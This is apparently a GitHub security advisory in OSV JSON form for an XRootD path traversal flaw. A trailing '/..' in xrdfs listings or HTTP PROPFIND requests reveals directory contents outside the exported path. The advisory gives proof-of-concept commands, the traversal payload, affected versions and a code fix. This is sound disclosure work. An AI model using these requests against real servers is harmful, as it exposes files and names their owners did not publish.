{"id":"GHSA-vj8v-p5vw-m6v5","summary":"xrootd has path traversal in directory listing that allows access to the parent directory via trailing \"..\" pattern","details":"## Summary\n\nA path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests.\n\nThis bypass ignores the `all.export` restriction.\n\n## Affected component\n\n`src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with \"..\" (without trailing slash).\nThen the path is passed directly to the filesystem layer.\n\n## PoC\n\n### Configuration\n\n- **Configuration file:** \n```conf\nxrd.port 1094\n\n# Exposing only /alice/\noss.localroot /srv/xrootd/data/\nall.export /alice/\n\n# HTTP\nxrd.protocol http:1094 libXrdHttp.so\n\n# Logs / monitoring\nall.adminpath /var/spool/xrootd\nall.pidpath /var/run/xrootd\n```\n\n- **Filesystem layout on the server:**\n```\n/srv/xrootd/data/\n├── alice/       ← only exported directory\n├── bob/         ← not exported\n└── secret.txt   ← not exported\n```\n\n- **Starting the server:**  `xrootd -c /etc/xrootd/xrootd.cfg` \n\n### Steps to reproduce\n\n**Normal behavior (access outside export is denied):**\n```bash\n$ xrdfs root://\u003cxrootd-server\u003e ls /\n[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.\n```\n\n**Bypass via trailing `..`:**\n```bash\n$ xrdfs root://\u003cxrootd-server\u003els /alice/..\n/alice/../alice\n/alice/../bob\n/alice/../secret.txt\n```\n \n**Also exploitable via HTTP PROPFIND:**\n\n```bash\ncurl -X PROPFIND 'http://\u003cxrootd-server\u003e:1094/alice/..' \\\n  --path-as-is \\\n  -H \"Depth: 1\"\n```\nReturns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`).\n\n**However, file download via this path traversal is blocked:**\n```bash\n$ xrdcp root://\u003cxrootd-server\u003e/alice/../secret.txt .\n[0B/0B][100%][==================================================][0B/s]  \nRun: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)\n```\n\n## Impact\nAn attacker can enumerate directories and filenames outside the authorized export scope defined by `all.export`. In the example above, a server exporting only `/alice/` leaks the existence of `/bob/` and `secret.txt` located in the parent directory (`oss.localroot`).\n\nFile download is not possible through this vector, as `xrdcp` correctly rejects the path with error 3010. The impact seems therefore limited to **information disclosure** (directory and filename enumeration).\n\nThis vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.\n\n## Suggested fix\n\nIn `rpCheck()` (`src/XrdXrootd/XrdXrootdXeq.cc`), change:\n```cpp\n// Before\nif (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;\n\n// After\nif (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\\0')) return 1;\n```","modified":"2026-04-10T20:03:56.583796Z","published":"2026-04-10T19:50:39Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-04-10T19:50:39Z","nvd_published_at":null,"cwe_ids":["CWE-20","CWE-22"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/xrootd/xrootd/security/advisories/GHSA-vj8v-p5vw-m6v5"},{"type":"WEB","url":"https://github.com/xrootd/xrootd/commit/45efac7267a115ca4f2102214498e8cb011eb69b"},{"type":"PACKAGE","url":"https://github.com/xrootd/xrootd"},{"type":"WEB","url":"http://github.com/xrootd/xrootd/releases/tag/v5.9.2"}],"affected":[{"package":{"name":"xrootd","ecosystem":"PyPI","purl":"pkg:pypi/xrootd"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.9.2"}]}],"versions":["4.10.0","4.11.0","4.11.1","4.11.2","4.11.3","4.12.0","4.12.2","4.12.3","4.12.4","4.12.5","4.12.6","4.12.7","4.8.4","4.8.5","4.9.0","4.9.1","5.0.0","5.0.1","5.0.2","5.0.3","5.1.1","5.2.0","5.3.0","5.3.1","5.3.2","5.3.3","5.3.4","5.4.0","5.4.1","5.4.2","5.4.3","5.5.0","5.5.1","5.5.2","5.5.3","5.5.4","5.5.5","5.6.0","5.6.1","5.6.2","5.6.3","5.6.4","5.6.5","5.6.6","5.6.7","5.6.8","5.6.9","5.7.0","5.7.1","5.7.2","5.7.3","5.8.0","5.8.1","5.8.2","5.8.3","5.8.4","5.9.0","5.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-vj8v-p5vw-m6v5/GHSA-vj8v-p5vw-m6v5.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}